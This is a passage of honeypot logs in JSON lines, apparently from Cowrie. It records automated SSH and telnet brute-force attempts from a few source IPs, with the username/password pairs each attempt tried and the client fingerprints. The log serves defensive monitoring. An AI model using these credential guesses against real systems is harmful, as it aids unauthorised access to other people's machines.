{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:03.339166Z","src_ip":"83.168.110.85","session":"68f1683bb585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:04.508926Z","src_ip":"83.168.110.85","session":"68f1683bb585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.368880987167358,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:04.987771Z","src_ip":"176.65.139.118","session":"6528a71c58fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f941bb25521","protocol":"telnet","message":"New connection: 176.65.139.118:56324 (159.203.135.109:23) [session: 7f941bb25521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:05.067384Z"}
{"eventid":"cowrie.session.closed","duration":120.00239634513855,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:05.550885Z","src_ip":"152.42.224.71","session":"87bbdc692710","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0850930213928223,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:08.152341Z","src_ip":"176.65.139.118","session":"7f941bb25521","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36262,"dst_ip":"159.203.135.109","dst_port":23,"session":"32aef66cffa4","protocol":"telnet","message":"New connection: 176.65.139.118:36262 (159.203.135.109:23) [session: 32aef66cffa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:08.282931Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55168,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e2c9967cde6","protocol":"ssh","message":"New connection: 83.168.110.85:55168 (10.17.0.5:22) [session: 4e2c9967cde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:09.884870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:09.890158Z","src_ip":"83.168.110.85","session":"4e2c9967cde6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:10.013349Z","src_ip":"83.168.110.85","session":"4e2c9967cde6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:10.509550Z","src_ip":"83.168.110.85","session":"4e2c9967cde6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.3736274242401123,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:10.656469Z","src_ip":"176.65.139.118","session":"32aef66cffa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d4a8ccc86a","protocol":"telnet","message":"New connection: 176.65.139.118:37742 (159.203.135.109:23) [session: e2d4a8ccc86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:10.840649Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:11.643524Z","src_ip":"83.168.110.85","session":"4e2c9967cde6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"86981198","message":"login attempt [root/86981198] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:16.751133Z","src_ip":"176.65.139.118","session":"e2d4a8ccc86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33806,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf97bc3c5f3","protocol":"ssh","message":"New connection: 83.168.110.85:33806 (10.17.0.5:22) [session: 1bf97bc3c5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.004457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.011958Z","src_ip":"83.168.110.85","session":"1bf97bc3c5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.135078Z","src_ip":"83.168.110.85","session":"1bf97bc3c5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.507318Z","src_ip":"83.168.110.85","session":"1bf97bc3c5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.978989362716675,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.819519Z","src_ip":"176.65.139.118","session":"e2d4a8ccc86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":58404,"dst_ip":"159.203.135.109","dst_port":23,"session":"145d43a09c7f","protocol":"telnet","message":"New connection: 176.65.139.118:58404 (159.203.135.109:23) [session: 145d43a09c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:17.983752Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:18.776534Z","src_ip":"83.168.110.85","session":"1bf97bc3c5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33812,"dst_ip":"10.17.0.5","dst_port":22,"session":"2833904acd76","protocol":"ssh","message":"New connection: 83.168.110.85:33812 (10.17.0.5:22) [session: 2833904acd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:23.633003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:23.642153Z","src_ip":"83.168.110.85","session":"2833904acd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:23.777511Z","src_ip":"83.168.110.85","session":"2833904acd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:24.145310Z","src_ip":"83.168.110.85","session":"2833904acd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"888888","message":"login attempt [admin/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:24.382285Z","src_ip":"176.65.139.118","session":"145d43a09c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:25.287335Z","src_ip":"83.168.110.85","session":"2833904acd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52332,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bce58d39800","protocol":"ssh","message":"New connection: 62.133.63.178:52332 (10.17.0.5:22) [session: 8bce58d39800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:25.511733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:25.516600Z","src_ip":"62.133.63.178","session":"8bce58d39800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:25.642664Z","src_ip":"62.133.63.178","session":"8bce58d39800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:26.188225Z","src_ip":"62.133.63.178","session":"8bce58d39800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:27.320414Z","src_ip":"62.133.63.178","session":"8bce58d39800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.34870457649231,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:27.332348Z","src_ip":"176.65.139.118","session":"145d43a09c7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":34196,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cad9040e090","protocol":"telnet","message":"New connection: 176.65.139.118:34196 (159.203.135.109:23) [session: 0cad9040e090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:27.552264Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33060,"dst_ip":"10.17.0.5","dst_port":22,"session":"57007b4bdeaf","protocol":"ssh","message":"New connection: 83.168.110.85:33060 (10.17.0.5:22) [session: 57007b4bdeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:30.573268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:30.578605Z","src_ip":"83.168.110.85","session":"57007b4bdeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:30.700126Z","src_ip":"83.168.110.85","session":"57007b4bdeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:31.152290Z","src_ip":"83.168.110.85","session":"57007b4bdeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:32.286527Z","src_ip":"83.168.110.85","session":"57007b4bdeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:36.737018Z","src_ip":"176.65.139.118","session":"0cad9040e090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46738,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0d8982b188","protocol":"ssh","message":"New connection: 83.168.110.85:46738 (10.17.0.5:22) [session: 7d0d8982b188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:37.698382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:37.703353Z","src_ip":"83.168.110.85","session":"7d0d8982b188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:37.827357Z","src_ip":"83.168.110.85","session":"7d0d8982b188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:38.192434Z","src_ip":"83.168.110.85","session":"7d0d8982b188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:39.555052Z","src_ip":"83.168.110.85","session":"7d0d8982b188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.473853588104248,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:40.025997Z","src_ip":"176.65.139.118","session":"0cad9040e090","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45172,"dst_ip":"159.203.135.109","dst_port":23,"session":"89d5aa8cebb4","protocol":"telnet","message":"New connection: 176.65.139.118:45172 (159.203.135.109:23) [session: 89d5aa8cebb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:40.174123Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":51260,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc31247b1643","protocol":"telnet","message":"New connection: 176.65.139.118:51260 (159.203.135.109:23) [session: bc31247b1643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:43.899142Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44234,"dst_ip":"10.17.0.5","dst_port":22,"session":"5518911a8598","protocol":"ssh","message":"New connection: 83.168.110.85:44234 (10.17.0.5:22) [session: 5518911a8598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:44.650002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:27:44.655068Z","src_ip":"83.168.110.85","session":"5518911a8598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-